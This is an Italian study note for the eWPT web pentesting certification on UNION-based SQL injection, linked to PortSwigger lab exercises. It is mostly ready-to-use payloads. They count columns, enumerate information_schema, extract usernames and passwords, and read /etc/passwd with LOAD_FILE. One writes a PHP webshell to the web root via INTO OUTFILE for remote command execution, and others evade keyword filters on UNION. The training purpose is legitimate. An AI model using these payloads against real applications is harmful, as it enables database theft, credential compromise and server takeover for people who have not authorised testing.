eWPT · SQL Injection
UNION-Based SQLi
Difficoltà: Intermediate Time to Master: 2.5h Prerequisiti: 02-Error-Based-SQLi.md Lab: PortSwigger Academy: UNION attacks
Obiettivo
UNION SELECT ti lascia agganciare i risultati di una query completamente diversa a quella originale, e vederli comparire nella stessa risposta che l’app ti mostra sempre. Se riesci ad allineare colonne e tipi, non stai più solo confermando che l’app è vulnerabile: stai leggendo tabelle che non dovresti nemmeno sapere che esistono.
Concetti chiave
Requisiti per UNION SELECT
- Stesso numero di colonne della query originale
- Tipi di dato compatibili colonna per colonna
- Almeno una colonna deve essere visibile nell’output (stringa) per leggere i dati
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| Burp Repeater | payload manuale | dati estratti in pagina | principale |
| sqlmap | --technique=U --dump |
automatizza extraction | vedi 07-SQLMap-Automation.md |
Payload / Esempi
Esempio 1: trovare numero colonne e colonna “stampabile”
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 -- -- errore = 2 colonne totali
' UNION SELECT NULL, NULL --
' UNION SELECT NULL, 'test' -- -- vedi dove compare "test" nella pagina, quella è la colonna stampabile
Esempio 2: enumerare tabelle e colonne (information_schema)
' UNION SELECT table_name, NULL FROM information_schema.tables --
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' --
Output atteso:
users
products
orders
Esempio 3: estrazione credenziali
' UNION SELECT username, password FROM users --
' UNION SELECT CONCAT(username, ':', password), NULL FROM users --
' UNION SELECT GROUP_CONCAT(username, ':', password SEPARATOR '\n'), NULL FROM users --
Spiegazione: GROUP_CONCAT restituisce tutte le righe in una singola stringa concatenata, utile quando l’app mostra solo la prima riga del risultato.
Esempio 4: leggere file dal filesystem (MySQL, con privilegi FILE)
' UNION SELECT LOAD_FILE('/etc/passwd'), NULL --
Esempio 5: scrivere una webshell su disco (MySQL, con privilegi FILE e secure_file_priv permissivo)
' UNION SELECT '<?php system($_GET["cmd"]); ?>', NULL INTO OUTFILE '/var/www/html/shell.php' --
Spiegazione: se riuscita, questa tecnica porta a RCE diretta, ma richiede privilegi elevati sul DB e secure_file_priv non restrittivo: condizioni non sempre presenti, ma da provare sempre.
Evasion / Bypass Techniques
Bypass filtro sulla keyword UNION
' UNI/**/ON SELECT NULL, NULL --
' /*!50000UNION*/ SELECT NULL, NULL --
' uNiOn SeLeCt NULL, NULL --
Colonne extra quando non conosci il numero esatto
' UNION SELECT NULL,NULL,NULL,NULL,NULL -- -- prova incrementando finché non sparisce l'errore
Lab Hands-On
Lab 1: PortSwigger: SQL injection UNION attack, retrieving data from other tables
Obiettivo: estrarre username/password via UNION Difficulty: Medio Time: 30 min
Walkthrough breve:
- Trova numero di colonne con ORDER BY
- Identifica colonna stampabile
- Enumera tabelle/colonne via information_schema
- Estrai credenziali con UNION SELECT
Common Mistakes
- Dimenticare che i tipi devono essere compatibili -> usa NULL come placeholder universale finché non sai i tipi esatti
- Non provare GROUP_CONCAT quando l’app mostra solo una riga -> perdi dati multipli senza accorgertene
Link Utili
Connessioni
- Prerequisito: 02-Error-Based-SQLi.md
- Prossimo Step: 04-Blind-SQLi.md
- Combinazione con: 08-Exploitation-PostEx/01-File-Upload-Abuse.md
Checklist di padronanza
- So trovare numero colonne e colonna stampabile
- So enumerare information_schema per tabelle/colonne
- So usare GROUP_CONCAT per estrarre righe multiple in un colpo
- Conosco la tecnica INTO OUTFILE per RCE (anche se raramente sfruttabile)